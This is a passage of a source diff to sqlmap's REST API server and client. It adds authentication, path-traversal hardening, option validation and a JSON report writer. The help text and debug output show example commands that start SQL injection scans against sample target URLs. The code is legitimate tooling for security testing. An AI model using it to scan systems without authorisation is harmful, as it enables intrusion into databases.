filepath): + """ + Writes the collected results to filepath as JSON, in the same shape as the REST API's + /scan/<id>/data response, wrapped with a small 'meta' block for standalone consumers. + """ + + result = _assembleData(collector, REPORT_TASKID) + result["meta"] = { + "api_version": int(RESTAPI_VERSION.split(".")[0]), # MAJOR only - the part that matters for client compatibility + "sqlmap_version": VERSION_STRING, + "url": conf.get("url"), + "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), + } + + with openFile(filepath, "w+") as f: + f.write(getText(jsonize(result))) # API objects class Database(object): @@ -66,9 +288,10 @@ def __init__(self, database=None): self.cursor = None def connect(self, who="server"): - self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None) + self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False) self.cursor = self.connection.cursor() - logger.debug("REST-JSON API %s connected to IPC database" % who) + self.lock = threading.Lock() + logger.debug("REST API %s connected to IPC database" % who) def disconnect(self): if self.cursor: @@ -81,39 +304,28 @@ def commit(self): self.connection.commit() def execute(self, statement, arguments=None): - while True: - try: - if arguments: - self.cursor.execute(statement, arguments) + with self.lock: + while True: + try: + if arguments: + self.cursor.execute(statement, arguments) + else: + self.cursor.execute(statement) + except sqlite3.OperationalError as ex: + if "locked" not in getSafeExString(ex): + raise + else: + time.sleep(1) else: - self.cursor.execute(statement) - except sqlite3.OperationalError, ex: - if not "locked" in getSafeExString(ex): - raise - else: - break + break - if statement.lstrip().upper().startswith("SELECT"): - return self.cursor.fetchall() + if statement.lstrip().upper().startswith("SELECT"): + return self.cursor.fetchall() def init(self): - self.execute("CREATE TABLE logs(" - "id INTEGER PRIMARY KEY AUTOINCREMENT, " - "taskid INTEGER, time TEXT, " - "level TEXT, message TEXT" - ")") - - self.execute("CREATE TABLE data(" - "id INTEGER PRIMARY KEY AUTOINCREMENT, " - "taskid INTEGER, status INTEGER, " - "content_type INTEGER, value TEXT" - ")") - - self.execute("CREATE TABLE errors(" - "id INTEGER PRIMARY KEY AUTOINCREMENT, " - "taskid INTEGER, error TEXT" - ")") - + self.execute("CREATE TABLE IF NOT EXISTS logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)") class Task(object): def __init__(self, taskid, remote_addr): @@ -159,10 +371,18 @@ def reset_options(self): self.options = AttribDict(self._original_options) def engine_start(self): + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + saveConfig(self.options, configFile) + if os.path.exists("sqlmap.py"): - self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)], shell=False, close_fds=not IS_WIN) + self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) + elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")): + self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN) + elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")): + self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN) else: - self.process = Popen(["sqlmap", "--pickled-options", base64pickle(self.options)], shell=False, close_fds=not IS_WIN) + self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) def engine_stop(self): if self.process: @@ -176,10 +396,12 @@ def engine_process(self): def engine_kill(self): if self.process: - self.process.kill() - return self.process.wait() - else: - return None + try: + self.process.kill() + return self.process.wait() + except: + pass + return None def engine_get_id(self): if self.process: @@ -197,7 +419,6 @@ def engine_get_returncode(self): def engine_has_terminated(self): return isinstance(self.engine_get_returncode(), int) - # Wrapper functions for sqlmap engine class StdDbOut(object): def __init__(self, taskid, messagetype="stdout"): @@ -213,41 +434,9 @@ def __init__(self, taskid, messagetype="stdout"): def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): if self.messagetype == "stdout": - if content_type is None: - if kb.partRun is not None: - content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) - else: - # Ignore all non-relevant messages - return - - output = conf.database_cursor.execute( - "SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", - (self.taskid, content_type)) - - # Delete partial output from IPC database if we have got a complete output - if status == CONTENT_STATUS.COMPLETE: - if len(output) > 0: - for index in xrange(len(output)): - conf.database_cursor.execute("DELETE FROM data WHERE id = ?", - (output[index][0],)) - - conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", - (self.taskid, status, content_type, jsonize(value))) - if kb.partRun: - kb.partRun = None - - elif status == CONTENT_STATUS.IN_PROGRESS: - if len(output) == 0: - conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", - (self.taskid, status, content_type, - jsonize(value))) - else: - new_value = "%s%s" % (dejsonize(output[0][2]), value) - conf.database_cursor.execute("UPDATE data SET value = ? WHERE id = ?", - (jsonize(new_value), output[0][0])) + _storeData(conf.databaseCursor, self.taskid, value, status, content_type) else: - conf.database_cursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", - (self.taskid, str(value) if value else "")) + conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else "")) def flush(self): pass @@ -258,36 +447,82 @@ def close(self): def seek(self): pass - class LogRecorder(logging.StreamHandler): def emit(self, record): """ Record emitted events to IPC database for asynchronous I/O communication with the parent process """ - conf.database_cursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", - (conf.taskid, time.strftime("%X"), record.levelname, - record.msg % record.args if record.args else record.msg)) + conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg))) +class ReportErrorRecorder(logging.Handler): + def __init__(self, collector): + """ + Records error/critical log messages into a report collector's 'errors' table (the counterpart + of StdDbOut's stderr branch for CLI --report-json runs) + """ + logging.Handler.__init__(self) + self.setLevel(logging.ERROR) + self.collector = collector + + def emit(self, record): + try: + self.collector.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (REPORT_TASKID, str(record.msg % record.args if record.args else record.msg))) + except Exception: + pass def setRestAPILog(): - if hasattr(conf, "api"): + if conf.api: try: - conf.database_cursor = Database(conf.database) - conf.database_cursor.connect("client") - except sqlite3.OperationalError, ex: - raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database) + conf.databaseCursor = Database(conf.database) + conf.databaseCursor.connect("client") + except sqlite3.OperationalError as ex: + raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database)) # Set a logging handler that writes log messages to a IPC database logger.removeHandler(LOGGER_HANDLER) LOGGER_RECORDER = LogRecorder() logger.addHandler(LOGGER_RECORDER) - # Generic functions -def is_admin(taskid): - return DataStore.admin_id == taskid +def is_admin(token): + return safeCompareStrings(DataStore.admin_token, token) + +def validate_task_options(taskid, options, caller): + if not isinstance(options, dict): + logger.warning("[%s] Invalid JSON options provided to %s()" % (taskid, caller)) + return "Invalid JSON options" + + for key in options: + if key in RESTAPI_UNSUPPORTED_OPTIONS or key in RESTAPI_READONLY_OPTIONS: + logger.warning("[%s] Unsupported option '%s' provided to %s()" % (taskid, key, caller)) + return "Unsupported option '%s'" % key + elif key not in DataStore.tasks[taskid].options: + logger.warning("[%s] Unknown option '%s' provided to %s()" % (taskid, key, caller)) + return "Unknown option '%s'" % key + +@hook('before_request') +def check_authentication(): + if not any((DataStore.username, DataStore.password)): + return + authorization = request.headers.get("Authorization", "") + match = re.search(r"(?i)\ABasic\s+([^\s]+)", authorization) + + if not match: + request.environ["PATH_INFO"] = "/error/401" + + try: + creds = decodeBase64(match.group(1), binary=False) + except: + request.environ["PATH_INFO"] = "/error/401" + else: + if ':' not in creds: + request.environ["PATH_INFO"] = "/error/401" + else: + username, password = creds.split(':', 1) + if not (safeCompareStrings(username.strip(), DataStore.username or "") and safeCompareStrings(password.strip(), DataStore.password or "")): # Note: constant-time comparison (mirrors is_admin) to avoid a timing side-channel on the credentials + request.environ["PATH_INFO"] = "/error/401" @hook("after_request") def security_headers(json_header=True): @@ -301,6 +536,7 @@ def security_headers(json_header=True): response.headers["Pragma"] = "no-cache" response.headers["Cache-Control"] = "no-cache" response.headers["Expires"] = "0" + if json_header: response.content_type = "application/json; charset=UTF-8" @@ -308,42 +544,46 @@ def security_headers(json_header=True): # HTTP Status Code functions # ############################## - @return_error(401) # Access Denied def error401(error=None): security_headers(False) return "Access denied" - @return_error(404) # Not Found def error404(error=None): security_headers(False) return "Nothing here" - @return_error(405) # Method Not Allowed (e.g. when requesting a POST method via GET) def error405(error=None): security_headers(False) return "Method not allowed" - @return_error(500) # Internal Server Error def error500(error=None): security_headers(False) return "Internal server error" +############# +# Auxiliary # +############# + +@get('/error/401') +def path_401(): + response.status = 401 + return response + ############################# # Task management functions # ############################# - # Users' methods @get("/task/new") def task_new(): """ - Create new task ID + Create a new task """ - taskid = hexencode(os.urandom(8)) + taskid = encodeHex(os.urandom(8), binary=False) remote_addr = request.remote_addr DataStore.tasks[taskid] = Task(taskid, remote_addr) @@ -351,60 +591,64 @@ def task_new(): logger.debug("Created new task: '%s'" % taskid) return jsonize({"success": True, "taskid": taskid}) - @get("/task/<taskid>/delete") def task_delete(taskid): """ - Delete own task ID + Delete an existing task """ if taskid in DataStore.tasks: + DataStore.tasks[taskid].engine_kill() DataStore.tasks.pop(taskid) - logger.debug("[%s] Deleted task" % taskid) + logger.debug("(%s) Deleted task" % taskid) return jsonize({"success": True}) else: - logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid) - return jsonize({"success": False, "message": "Invalid task ID"}) + response.status = 404 + logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid) + return jsonize({"success": False, "message": "Non-existing task ID"}) ################### # Admin functions # ################### - -@get("/admin/<taskid>/list") -def task_list(taskid=None): +@get("/admin/list") +@get("/admin/<token>/list") +def task_list(token=None): """ - List task pull + Pull task list """ tasks = {} - for key in DataStore.tasks: - if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr: - tasks[key] = dejsonize(scan_status(key))["status"] + for key in list(DataStore.tasks): + if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: + # NOTE: tolerate a task being deleted concurrently (scan_status would then return an + # error envelope without a "status" key); skip it rather than raising KeyError + status = dejsonize(scan_status(key)).get("status") + if status is not None: + tasks[key] = status - logger.debug("[%s] Listed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr)) + logger.debug("(%s) Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) -@get("/admin/<taskid>/flush") -def task_flush(taskid): +@get("/admin/flush") +@get("/admin/<token>/flush") +def task_flush(token=None): """ Flush task spool (delete all tasks) """ - if is_admin(taskid): - DataStore.tasks = dict() - else: - for key in list(DataStore.tasks): - if DataStore.tasks[key].remote_addr == request.remote_addr: - del DataStore.tasks[key] - logger.debug("[%s] Flushed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr)) + for key in list(DataStore.tasks): + if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: + DataStore.tasks[key].engine_kill() + del DataStore.tasks[key] + + logger.debug("(%s) Flushed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True}) ################################## # sqlmap core interact functions # ################################## - # Handle task's options @get("/option/<taskid>/list") def option_list(taskid): @@ -415,55 +659,79 @@ def option_list(taskid): logger.warning("[%s] Invalid task ID provided to option_list()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - logger.debug("[%s] Listed task options" % taskid) + logger.debug("(%s) Listed task options" % taskid) return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()}) - @post("/option/<taskid>/get") def option_get(taskid): """ - Get the value of an option (command line switch) for a certain task ID + Get value of option(s) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_get()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - option = request.json.get("option", "") + options = request.json or [] + results = {} - if option in DataStore.tasks[taskid].options: - logger.debug("[%s] Retrieved value for option %s" % (taskid, option)) - return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)}) - else: - logger.debug("[%s] Requested value for unknown option %s" % (taskid, option)) - return jsonize({"success": False, "message": "Unknown option", option: "not set"}) + for option in options: + if option in DataStore.tasks[taskid].options: + results[option] = DataStore.tasks[taskid].options[option] + else: + logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option)) + return jsonize({"success": False, "message": "Unknown option '%s'" % option}) + + logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ','.join(options))) + return jsonize({"success": True, "options": results}) @post("/option/<taskid>/set") def option_set(taskid): """ - Set an option (command line switch) for a certain task ID + Set value of option(s) for a certain task ID """ + if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) + if request.json is None: + logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid) + return jsonize({"success": False, "message": "Invalid JSON options"}) + + message = validate_task_options(taskid, request.json, "option_set") + if message: + return jsonize({"success": False, "message": message}) + for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) - logger.debug("[%s] Requested to set options" % taskid) + logger.debug("(%s) Requested to set options" % taskid) return jsonize({"success": True}) - # Handle scans @post("/scan/<taskid>/start") def scan_start(taskid): """ Launch a scan """ + if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) + if request.json is None: + logger.warning("[%s] Invalid JSON options provided to scan_start()" % taskid) + return jsonize({"success": False, "message": "Invalid JSON options"}) + + if DataStore.tasks[taskid].engine_process() is not None and not DataStore.tasks[taskid].engine_has_terminated(): + logger.warning("[%s] Scan already running" % taskid) + return jsonize({"success": False, "message": "Scan already running"}) + + message = validate_task_options(taskid, request.json, "scan_start") + if message: + return jsonize({"success": False, "message": message}) + # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) @@ -471,49 +739,45 @@ def scan_start(taskid): # Launch sqlmap engine in a separate process DataStore.tasks[taskid].engine_start() - logger.debug("[%s] Started scan" % taskid) + logger.debug("(%s) Started scan" % taskid) return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()}) - @get("/scan/<taskid>/stop") def scan_stop(taskid): """ Stop a scan """ - if (taskid not in DataStore.tasks or - DataStore.tasks[taskid].engine_process() is None or - DataStore.tasks[taskid].engine_has_terminated()): + + if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_stop() - logger.debug("[%s] Stopped scan" % taskid) + logger.debug("(%s) Stopped scan" % taskid) return jsonize({"success": True}) - @get("/scan/<taskid>/kill") def scan_kill(taskid): """ Kill a scan """ - if (taskid not in DataStore.tasks or - DataStore.tasks[taskid].engine_process() is None or - DataStore.tasks[taskid].engine_has_terminated()): + + if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_kill() - logger.debug("[%s] Killed scan" % taskid) + logger.debug("(%s) Killed scan" % taskid) return jsonize({"success": True}) - @get("/scan/<taskid>/status") def scan_status(taskid): """ Returns status of a scan """ + if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) @@ -523,42 +787,28 @@ def scan_status(taskid): else: status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" - logger.debug("[%s] Retrieved scan status" % taskid) + logger.debug("(%s) Retrieved scan status" % taskid) return jsonize({ "success": True, "status": status, "returncode": DataStore.tasks[taskid].engine_get_returncode() }) - @get("/scan/<taskid>/data") def scan_data(taskid): """ Retrieve the data of a scan """ - json_data_message = list() - json_errors_message = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - # Read all data from the IPC database for the taskid - for status, content_type, value in DataStore.current_db.execute( - "SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", - (taskid,)): - json_data_message.append( - {"status": status, "type": content_type, "value": dejsonize(value)}) - - # Read all error messages from the IPC database - for error in DataStore.current_db.execute( - "SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", - (taskid,)): - json_errors_message.append(error) - - logger.debug("[%s] Retrieved scan data and error messages" % taskid) - return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) + # Read all data and error messages from the IPC database (shared assembler - same output as --report-json) + result = _assembleData(DataStore.current_db, taskid) + logger.debug("(%s) Retrieved scan data and error messages" % taskid) + return jsonize(result) # Functions to handle scans' logs @get("/scan/<taskid>/log/<start>/<end>") @@ -566,13 +816,14 @@ def scan_log_limited(taskid, start, end): """ Retrieve a subset of log messages """ + json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - if not start.isdigit() or not end.isdigit() or end < start: + if not start.isdigit() or not end.isdigit() or int(end) < int(start): logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) @@ -580,21 +831,18 @@ def scan_log_limited(taskid, start, end): end = max(1, int(end)) # Read a subset of log messages from the IPC database - for time_, level, message in DataStore.current_db.execute( - ("SELECT time, level, message FROM logs WHERE " - "taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC"), - (taskid, start, end)): + for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)): json_log_messages.append({"time": time_, "level": level, "message": message}) - logger.debug("[%s] Retrieved scan log messages subset" % taskid) + logger.debug("(%s) Retrieved scan log messages subset" % taskid) return jsonize({"success": True, "log": json_log_messages}) - @get("/scan/<taskid>/log") def scan_log(taskid): """ Retrieve the log messages """ + json_log_messages = list() if taskid not in DataStore.tasks: @@ -602,51 +850,72 @@ def scan_log(taskid): return jsonize({"success": False, "message": "Invalid task ID"}) # Read all log messages from the IPC database - for time_, level, message in DataStore.current_db.execute( - "SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): + for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_log_messages.append({"time": time_, "level": level, "message": message}) - logger.debug("[%s] Retrieved scan log messages" % taskid) + logger.debug("(%s) Retrieved scan log messages" % taskid) return jsonize({"success": True, "log": json_log_messages}) - # Function to handle files inside the output directory @get("/download/<taskid>/<target>/<filename:path>") def download(taskid, target, filename): """ Download a certain file from the file system """ + if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to download()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - # Prevent file path traversal - the lame way - if ".." in target: + path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename)) + # Prevent file path traversal + if not path.startswith(os.path.join(paths.SQLMAP_OUTPUT_PATH, "")): logger.warning("[%s] Forbidden path (%s)" % (taskid, target)) return jsonize({"success": False, "message": "Forbidden path"}) - path = os.path.join(paths.SQLMAP_OUTPUT_PATH, target) - - if os.path.exists(path): - logger.debug("[%s] Retrieved content of file %s" % (taskid, target)) - with open(path, 'rb') as inf: - file_content = inf.read() - return jsonize({"success": True, "file": file_content.encode("base64")}) + if os.path.isfile(path): + logger.debug("(%s) Retrieved content of file %s" % (taskid, target)) + content = openFile(path, "rb").read() + return jsonize({"success": True, "file": encodeBase64(content, binary=False)}) else: logger.warning("[%s] File does not exist %s" % (taskid, target)) return jsonize({"success": False, "message": "File does not exist"}) +@get("/version") +def version(token=None): + """ + Fetch server version + """ + + logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr)) + return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1], "api_version": int(RESTAPI_VERSION.split(".")[0])}) -def server(host="0.0.0.0", port=RESTAPI_SERVER_PORT): +def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None, database=None): """ - REST-JSON API server + REST API server """ - DataStore.admin_id = hexencode(os.urandom(16)) - Database.filepath = tempfile.mkstemp(prefix="sqlmapipc-", text=False)[1] - logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) - logger.info("Admin ID: %s" % DataStore.admin_id) - logger.debug("IPC database: %s" % Database.filepath) + if not all((username, password)): + logger.critical("REST API server requires both username and password") + + DataStore.admin_token = encodeHex(os.urandom(16), binary=False) + DataStore.username = username + DataStore.password = password + + if not database: + _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) + os.close(_) + else: + Database.filepath = database + + if port == 0: # random + with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: + s.bind((host, 0)) + port = s.getsockname()[1] + + logger.info("Running REST API server at '%s:%d'.." % (host, port)) + logger.info("Admin (secret) token: %s" % DataStore.admin_token) + logger.debug("IPC database: '%s'" % Database.filepath) # Initialize IPC database DataStore.current_db = Database() @@ -654,50 +923,97 @@ def server(host="0.0.0.0", port=RESTAPI_SERVER_PORT): DataStore.current_db.init() # Run RESTful API - run(host=host, port=port, quiet=True, debug=False) - + try: + # Supported adapters: aiohttp, auto, bjoern, cgi, cherrypy, diesel, eventlet, fapws3, flup, gae, gevent, geventSocketIO, gunicorn, meinheld, paste, rocket, tornado, twisted, waitress, wsgiref + # Reference: https://bottlepy.org/docs/dev/deployment.html || bottle.server_names + + if adapter == "gevent": + from gevent import monkey + monkey.patch_all() + elif adapter == "eventlet": + import eventlet + eventlet.monkey_patch() + logger.debug("Using adapter '%s' to run bottle" % adapter) + run(host=host, port=port, quiet=True, debug=True, server=adapter) + except socket.error as ex: + if "already in use" in getSafeExString(ex): + logger.error("Address already in use ('%s:%s')" % (host, port)) + else: + raise + except ImportError: + if adapter.lower() not in server_names: + errMsg = "Adapter '%s' is unknown. " % adapter + errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys()))) + else: + errMsg = "Server support for adapter '%s' is not installed on this system " % adapter + errMsg += "(Note: you can try to install it with 'apt install python-%s' or 'pip%s install %s')" % (adapter, '3' if six.PY3 else "", adapter) + logger.critical(errMsg) def _client(url, options=None): - logger.debug("Calling %s" % url) + logger.debug("Calling '%s'" % url) try: - data = None + headers = {"Content-Type": "application/json"} + if options is not None: - data = jsonize(options) - req = urllib2.Request(url, data, {'Content-Type': 'application/json'}) - response = urllib2.urlopen(req) - text = response.read() + data = getBytes(jsonize(options)) + else: + data = None + + if DataStore.username or DataStore.password: + headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False) + + req = _urllib.request.Request(url, data, headers) + response = _urllib.request.urlopen(req) + text = getText(response.read()) except: if options: logger.error("Failed to load and parse %s" % url) raise return text - -def client(host=RESTAPI_SERVER_HOST, port=RESTAPI_SERVER_PORT): +def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None): """ - REST-JSON API client + REST API client """ + + DataStore.username = username + DataStore.password = password + + auth = ' --user "%s:%s"' % (username, password) if (username or password) else "" # REST API requires HTTP Basic auth + dbgMsg = "Example client access from command line:" + dbgMsg += "\n\t$ taskid=$(curl -s%s http://%s:%d/task/new | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (auth, host, port) + dbgMsg += "\n\t$ curl%s -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (auth, host, port) + dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/data" % (auth, host, port) + dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/log" % (auth, host, port) + logger.debug(dbgMsg) + addr = "http://%s:%d" % (host, port) - logger.info("Starting REST-JSON API client to '%s'..." % addr) + logger.info("Starting REST API client to '%s'..." % addr) try: _client(addr) - except Exception, ex: - if not isinstance(ex, urllib2.HTTPError): - errMsg = "there has been a problem while connecting to the " - errMsg += "REST-JSON API server at '%s' " % addr - errMsg += "(%s)" % ex + except Exception as ex: + if not isinstance(ex, _urllib.error.HTTPError) or ex.code == _http_client.UNAUTHORIZED: + errMsg = "There has been a problem while connecting to the " + errMsg += "REST API server at '%s' " % addr + errMsg += "(%s)" % getSafeExString(ex) logger.critical(errMsg) return + commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "version", "exit", "bye", "quit") + colors = ('red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'lightgrey', 'lightred', 'lightgreen', 'lightyellow', 'lightblue', 'lightmagenta', 'lightcyan') + autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands) + taskid = None logger.info("Type 'help' or '?' for list of available commands") while True: try: - command = raw_input("api%s> " % (" (%s)" % taskid if taskid else "")).strip().lower() + color = colors[int(taskid or "0", 16) % len(colors)] + command = _input("api%s> " % (" (%s)" % setColor(taskid, color) if taskid else "")).strip() + command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(), command) except (EOFError, KeyboardInterrupt): - print + print() break if command in ("data", "log", "status", "stop", "kill"): @@ -710,12 +1026,33 @@ def client(host=RESTAPI_SERVER_HOST, port=RESTAPI_SERVER_PORT): logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) + elif command.startswith("option"): + if not taskid: + logger.error("No task ID in use") + continue + try: + command, option = command.split(" ", 1) + except ValueError: + raw = _client("%s/option/%s/list" % (addr, taskid)) + else: + options = re.split(r"\s*,\s*", option.strip()) + raw = _client("%s/option/%s/get" % (addr, taskid), options) + res = dejsonize(raw) + if not res["success"]: + logger.error("Failed to execute command %s" % command) + dataToStdout("%s\n" % raw) + elif command.startswith("new"): if ' ' not in command: logger.error("Program arguments are missing") continue - argv = ["sqlmap.py"] + shlex.split(command)[1:] + try: + argv = ["sqlmap.py"] + shlex.split(command)[1:] + except Exception as ex: + logger.error("Error occurred while parsing arguments ('%s')" % getSafeExString(ex)) + taskid = None + continue try: cmdLineOptions = cmdLineParser(argv).__dict__ @@ -730,7 +1067,7 @@ def client(host=RESTAPI_SERVER_HOST, port=RESTAPI_SERVER_PORT): raw = _client("%s/task/new" % addr) res = dejsonize(raw) if not res["success"]: - logger.error("Failed to create new task") + logger.error("Failed to create new task ('%s')" % res.get("message", "")) continue taskid = res["taskid"] logger.info("New task ID is '%s'" % taskid) @@ -738,7 +1075,7 @@ def client(host=RESTAPI_SERVER_HOST, port=RESTAPI_SERVER_PORT): raw = _client("%s/scan/%s/start" % (addr, taskid), cmdLineOptions) res = dejsonize(raw) if not res["success"]: - logger.error("Failed to start scan") + logger.error("Failed to start scan ('%s')" % res.get("message", "")) continue logger.info("Scanning started") @@ -754,8 +1091,15 @@ def client(host=RESTAPI_SERVER_HOST, port=RESTAPI_SERVER_PORT): continue logger.info("Switching to task ID '%s' " % taskid) + elif command in ("version",): + raw = _client("%s/%s" % (addr, command)) + res = dejsonize(raw) + if not res["success"]: + logger.error("Failed to execute command %s" % command) + dataToStdout("%s\n" % raw) + elif command in ("list", "flush"): - raw = _client("%s/admin/%s/%s" % (addr, taskid or 0, command)) + raw = _client("%s/admin/%s" % (addr, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) @@ -767,17 +1111,20 @@ def client(host=RESTAPI_SERVER_HOST, port=RESTAPI_SERVER_PORT): return elif command in ("help", "?"): - msg = "help Show this help message\n" - msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n" - msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" - msg += "data Retrieve and show data for current task\n" - msg += "log Retrieve and show log for current task\n" - msg += "status Retrieve and show status for current task\n" - msg += "stop Stop current task\n" - msg += "kill Kill current task\n" - msg += "list Display all tasks\n" - msg += "flush Flush tasks (delete all tasks)\n" - msg += "exit Exit this client\n" + msg = "help Show this help message\n" + msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"https://sekumart.sekuripy.hr/product.php?id=1\"')\n" + msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" + msg += "data Retrieve and show data for current task\n" + msg += "log Retrieve and show log for current task\n" + msg += "status Retrieve and show status for current task\n" + msg += "option OPTION Retrieve and show option for current task\n" + msg += "options Retrieve and show all options for current task\n" + msg += "stop Stop current task\n" + msg += "kill Kill current task\n" + msg += "list Display all tasks\n" + msg += "version Fetch server version\n" + msg += "flush Flush tasks (delete all tasks)\n" + msg += "exit Exit this client\n" 